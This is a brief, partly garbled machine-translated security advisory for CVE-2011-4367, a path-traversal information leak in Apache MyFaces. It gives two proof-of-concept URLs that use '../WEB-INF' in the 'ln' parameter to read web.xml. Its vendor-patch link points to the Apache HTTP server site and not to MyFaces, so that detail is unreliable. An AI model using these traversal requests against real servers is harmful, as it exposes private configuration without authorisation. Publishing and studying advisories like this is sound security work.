Apache MyFaces "ln" parameter information leakage Vulnerability

Release date:
Updated on:

Affected Systems:
Apache Group MyFaces
Description:
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Bugtraq id: 51939
Cve id: CVE-2011-4367

Apache MyFaces is an open-source implementation of the JavaServer Faces standard.

Apache MyFaces JSF allows. faces. the resource 'ln 'parameter has a relative path or write URL, so the resource name contains ".. this vulnerability can be exploited by remote attackers to obtain sensitive information.

<* Source: Paul niclucci

Link: http://seclists.org/fulldisclosure/2012/Feb/150
*>

Test method:
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Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Http://www.example.com/faces/javax.faces.resource/web.xml? Ln = ../WEB-INF
Http://www.example.com/faces/javax.faces.resource/web.xml? Ln = .. \ WEB-INF

Suggestion:
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Vendor patch:

Apache Group
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The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://httpd.apache.org/